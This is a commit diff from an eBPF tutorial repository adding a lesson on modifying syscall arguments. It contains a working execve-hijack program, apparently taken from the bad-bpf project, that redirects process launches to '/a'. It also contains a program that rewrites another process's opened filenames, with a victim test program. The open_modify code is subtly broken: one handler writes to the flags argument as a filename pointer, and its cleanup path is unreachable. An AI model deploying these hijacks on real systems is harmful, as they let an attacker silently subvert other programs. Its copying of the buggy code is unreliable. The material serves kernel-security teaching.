mirror of
https://github.com/eunomia-bpf/bpf-developer-tutorial.git
synced 2026-02-03 10:14:44 +08:00
add example of 34
This commit is contained in:
@@ -67,6 +67,7 @@ Android:
|
||||
|
||||
安全:
|
||||
|
||||
- [使用 eBPF 修改系统调用参数](src/34-syscall/README.md)
|
||||
- [使用 eBPF 隐藏进程或文件信息](src/24-hide/README.md)
|
||||
- [使用 bpf_send_signal 发送信号终止进程](src/25-signal/README.md)
|
||||
- [使用 eBPF 添加 sudo 用户](src/26-sudo/README.md)
|
||||
|
||||
@@ -55,6 +55,7 @@ Networking and tracing:
|
||||
|
||||
Security:
|
||||
|
||||
- [Use eBPF to modify syscall parameters](src/34-syscall/README.md)
|
||||
- [Hiding process or file information using eBPF](src/24-hide/README_en.md)
|
||||
- [Terminating processes by sending signals using bpf_send_signal](src/25-signal/README_en.md)
|
||||
- [Adding sudo users using eBPF](src/26-sudo/README_en.md)
|
||||
|
||||
@@ -3,8 +3,6 @@
|
||||
#include <unistd.h>
|
||||
#include "replace.skel.h"
|
||||
#include "replace.h"
|
||||
|
||||
|
||||
#include <bpf/bpf.h>
|
||||
#include <bpf/libbpf.h>
|
||||
#include <unistd.h>
|
||||
|
||||
15
src/34-syscall/.gitignore
vendored
Normal file
15
src/34-syscall/.gitignore
vendored
Normal file
@@ -0,0 +1,15 @@
|
||||
.vscode
|
||||
package.json
|
||||
*.o
|
||||
*.skel.json
|
||||
*.skel.yaml
|
||||
package.yaml
|
||||
ecli
|
||||
bootstrap
|
||||
.output
|
||||
bpf-mocker
|
||||
victim
|
||||
victim2
|
||||
test.txt
|
||||
hijacked
|
||||
my_test.txt
|
||||
2
src/34-syscall/Makefile
Normal file
2
src/34-syscall/Makefile
Normal file
@@ -0,0 +1,2 @@
|
||||
victim: victim.cpp
|
||||
g++ victim.cpp -o victim
|
||||
20
src/34-syscall/README.md
Normal file
20
src/34-syscall/README.md
Normal file
@@ -0,0 +1,20 @@
|
||||
# ebpf modify syscall parameters
|
||||
|
||||
## modify open filename
|
||||
|
||||
```bash
|
||||
make
|
||||
./victim
|
||||
```
|
||||
|
||||
```bash
|
||||
sudo ./ecli run package.json -- --rewrite --target_pid=$(pidof victim)
|
||||
```
|
||||
|
||||
## modify exec commands
|
||||
|
||||
TODO
|
||||
|
||||
## reference
|
||||
|
||||
- <https://github.com/pathtofile/bad-bpf/blob/main/src/exechijack.bpf.c>
|
||||
68
src/34-syscall/exechijack.bpf.c
Normal file
68
src/34-syscall/exechijack.bpf.c
Normal file
@@ -0,0 +1,68 @@
|
||||
// SPDX-License-Identifier: BSD-3-Clause
|
||||
#include "vmlinux.h"
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_core_read.h>
|
||||
#include "exechijack.h"
|
||||
|
||||
char LICENSE[] SEC("license") = "Dual BSD/GPL";
|
||||
|
||||
// Ringbuffer Map to pass messages from kernel to user
|
||||
struct {
|
||||
__uint(type, BPF_MAP_TYPE_RINGBUF);
|
||||
__uint(max_entries, 256 * 1024);
|
||||
} rb SEC(".maps");
|
||||
|
||||
// Optional Target Parent PID
|
||||
const volatile int target_ppid = 0;
|
||||
|
||||
SEC("tp/syscalls/sys_enter_execve")
|
||||
int handle_execve_enter(struct trace_event_raw_sys_enter *ctx)
|
||||
{
|
||||
size_t pid_tgid = bpf_get_current_pid_tgid();
|
||||
// Check if we're a process of interest
|
||||
if (target_ppid != 0) {
|
||||
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
|
||||
int ppid = BPF_CORE_READ(task, real_parent, tgid);
|
||||
if (ppid != target_ppid) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
// Read in program from first arg of execve
|
||||
char prog_name[TASK_COMM_LEN];
|
||||
char prog_name_orig[TASK_COMM_LEN];
|
||||
__builtin_memset(prog_name, '\x00', TASK_COMM_LEN);
|
||||
bpf_probe_read_user(&prog_name, TASK_COMM_LEN, (void*)ctx->args[0]);
|
||||
bpf_probe_read_user(&prog_name_orig, TASK_COMM_LEN, (void*)ctx->args[0]);
|
||||
prog_name[TASK_COMM_LEN-1] = '\x00';
|
||||
bpf_printk("[EXECVE_HIJACK] %s\n", prog_name);
|
||||
|
||||
// Program can't be less than out two-char name
|
||||
if (prog_name[1] == '\x00') {
|
||||
bpf_printk("[EXECVE_HIJACK] program name too small\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Attempt to overwrite with hijacked binary path
|
||||
prog_name[0] = '/';
|
||||
prog_name[1] = 'a';
|
||||
for (int i = 2; i < TASK_COMM_LEN ; i++) {
|
||||
prog_name[i] = '\x00';
|
||||
}
|
||||
long ret = bpf_probe_write_user((void*)ctx->args[0], &prog_name, 3);
|
||||
|
||||
// Send an event
|
||||
struct event *e;
|
||||
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
|
||||
if (e) {
|
||||
e->success = (ret == 0);
|
||||
e->pid = (pid_tgid >> 32);
|
||||
for (int i = 0; i < TASK_COMM_LEN; i++) {
|
||||
e->comm[i] = prog_name_orig[i];
|
||||
}
|
||||
bpf_ringbuf_submit(e, 0);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
18
src/34-syscall/exechijack.h
Normal file
18
src/34-syscall/exechijack.h
Normal file
@@ -0,0 +1,18 @@
|
||||
// SPDX-License-Identifier: BSD-3-Clause
|
||||
#ifndef BAD_BPF_COMMON_H
|
||||
#define BAD_BPF_COMMON_H
|
||||
|
||||
// Used when replacing text
|
||||
#define FILENAME_LEN_MAX 50
|
||||
#define TEXT_LEN_MAX 20
|
||||
|
||||
// Simple message structure to get events from eBPF Programs
|
||||
// in the kernel to user spcae
|
||||
#define TASK_COMM_LEN 16
|
||||
struct event {
|
||||
int pid;
|
||||
char comm[TASK_COMM_LEN];
|
||||
bool success;
|
||||
};
|
||||
|
||||
#endif // BAD_BPF_COMMON_H
|
||||
112
src/34-syscall/open_modify.bpf.c
Normal file
112
src/34-syscall/open_modify.bpf.c
Normal file
@@ -0,0 +1,112 @@
|
||||
// SPDX-License-Identifier: GPL-2.0
|
||||
// Copyright (c) 2019 Facebook
|
||||
// Copyright (c) 2020 Netflix
|
||||
#include <vmlinux.h>
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include "open_modify.h"
|
||||
|
||||
const volatile bool targ_failed = false;
|
||||
const volatile bool rewrite = false;
|
||||
const volatile int target_pid = 0;
|
||||
|
||||
struct args_t {
|
||||
const char *fname;
|
||||
int flags;
|
||||
};
|
||||
|
||||
struct {
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 10240);
|
||||
__type(key, u32);
|
||||
__type(value, struct args_t);
|
||||
} start SEC(".maps");
|
||||
|
||||
struct {
|
||||
__uint(type, BPF_MAP_TYPE_RINGBUF);
|
||||
__uint(max_entries, 256 * 1024);
|
||||
} rb SEC(".maps");
|
||||
|
||||
SEC("tracepoint/syscalls/sys_enter_open")
|
||||
int tracepoint__syscalls__sys_enter_open(struct trace_event_raw_sys_enter *ctx)
|
||||
{
|
||||
u64 pid = bpf_get_current_pid_tgid() >> 32;
|
||||
|
||||
/* store arg info for later lookup */
|
||||
struct args_t args = {};
|
||||
args.fname = (const char *)ctx->args[0];
|
||||
if (rewrite) {
|
||||
bpf_probe_write_user((char*)ctx->args[1], "hijacked", 9);
|
||||
}
|
||||
args.flags = (int)ctx->args[1];
|
||||
bpf_map_update_elem(&start, &pid, &args, 0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
SEC("tracepoint/syscalls/sys_enter_openat")
|
||||
int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter *ctx)
|
||||
{
|
||||
u64 pid = bpf_get_current_pid_tgid() >> 32;
|
||||
/* use kernel terminology here for tgid/pid: */
|
||||
if (target_pid && pid != target_pid) {
|
||||
return 0;
|
||||
}
|
||||
/* store arg info for later lookup */
|
||||
// since we can manually specify the attach process in userspace,
|
||||
// we don't need to check the process allowed here
|
||||
|
||||
struct args_t args = {};
|
||||
args.fname = (const char *)ctx->args[1];
|
||||
args.flags = (int)ctx->args[2];
|
||||
if (rewrite) {
|
||||
bpf_probe_write_user((char*)ctx->args[1], "hijacked", 9);
|
||||
}
|
||||
bpf_map_update_elem(&start, &pid, &args, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static __always_inline int trace_exit(struct trace_event_raw_sys_exit *ctx)
|
||||
{
|
||||
struct event *event;
|
||||
struct args_t *ap;
|
||||
int ret;
|
||||
u32 pid = bpf_get_current_pid_tgid();
|
||||
|
||||
ap = bpf_map_lookup_elem(&start, &pid);
|
||||
if (!ap)
|
||||
return 0; /* missed entry */
|
||||
ret = ctx->ret;
|
||||
|
||||
event = bpf_ringbuf_reserve(&rb, sizeof(*event), 0);
|
||||
if (!event)
|
||||
return 0;
|
||||
|
||||
/* event data */
|
||||
event->pid = bpf_get_current_pid_tgid() >> 32;
|
||||
event->uid = bpf_get_current_uid_gid();
|
||||
bpf_get_current_comm(&event->comm, sizeof(event->comm));
|
||||
bpf_probe_read_user_str(&event->fname, sizeof(event->fname), ap->fname);
|
||||
event->flags = ap->flags;
|
||||
event->ret = ret;
|
||||
|
||||
/* emit event */
|
||||
bpf_ringbuf_submit(event, 0);
|
||||
return 0;
|
||||
cleanup:
|
||||
bpf_map_delete_elem(&start, &pid);
|
||||
return 0;
|
||||
}
|
||||
|
||||
SEC("tracepoint/syscalls/sys_exit_open")
|
||||
int tracepoint__syscalls__sys_exit_open(struct trace_event_raw_sys_exit *ctx)
|
||||
{
|
||||
return trace_exit(ctx);
|
||||
}
|
||||
|
||||
SEC("tracepoint/syscalls/sys_exit_openat")
|
||||
int tracepoint__syscalls__sys_exit_openat(struct trace_event_raw_sys_exit *ctx)
|
||||
{
|
||||
return trace_exit(ctx);
|
||||
}
|
||||
|
||||
char LICENSE[] SEC("license") = "GPL";
|
||||
19
src/34-syscall/open_modify.h
Normal file
19
src/34-syscall/open_modify.h
Normal file
@@ -0,0 +1,19 @@
|
||||
/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
|
||||
#ifndef __SYSCALL_TRACER_H
|
||||
#define __SYSCALL_TRACER_H
|
||||
|
||||
#define TASK_COMM_LEN 16
|
||||
#define NAME_MAX 255
|
||||
#define INVALID_UID ((uid_t)-1)
|
||||
|
||||
struct event {
|
||||
/* user terminology for pid: */
|
||||
pid_t pid;
|
||||
uid_t uid;
|
||||
int ret;
|
||||
int flags;
|
||||
char comm[TASK_COMM_LEN];
|
||||
char fname[NAME_MAX];
|
||||
};
|
||||
|
||||
#endif /* __SYSCALL_TRACER_H */
|
||||
33
src/34-syscall/victim.cpp
Normal file
33
src/34-syscall/victim.cpp
Normal file
@@ -0,0 +1,33 @@
|
||||
#include <cassert>
|
||||
#include <cstdio>
|
||||
#include <fcntl.h>
|
||||
#include <iostream>
|
||||
#include <ostream>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
char filename[100] = "my_test.txt";
|
||||
// print pid
|
||||
int pid = getpid();
|
||||
std::cout << "current pid: " << pid << std::endl;
|
||||
system("echo \"hello\" > my_test.txt");
|
||||
system("echo \"world\" >> hijacked");
|
||||
while (true) {
|
||||
std::cout << "Opening my_test.txt" << std::endl;
|
||||
|
||||
int fd = open(filename, O_RDONLY);
|
||||
assert(fd != -1);
|
||||
|
||||
std::cout << "test.txt opened, fd=" << fd << std::endl;
|
||||
usleep(1000 * 300);
|
||||
// print the file content
|
||||
char buf[100] = {0};
|
||||
int ret = read(fd, buf, 5);
|
||||
std::cout << "read " << ret << " bytes: " << buf << std::endl;
|
||||
std::cout << "Closing test.txt..." << std::endl;
|
||||
close(fd);
|
||||
std::cout << "test.txt closed" << std::endl;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user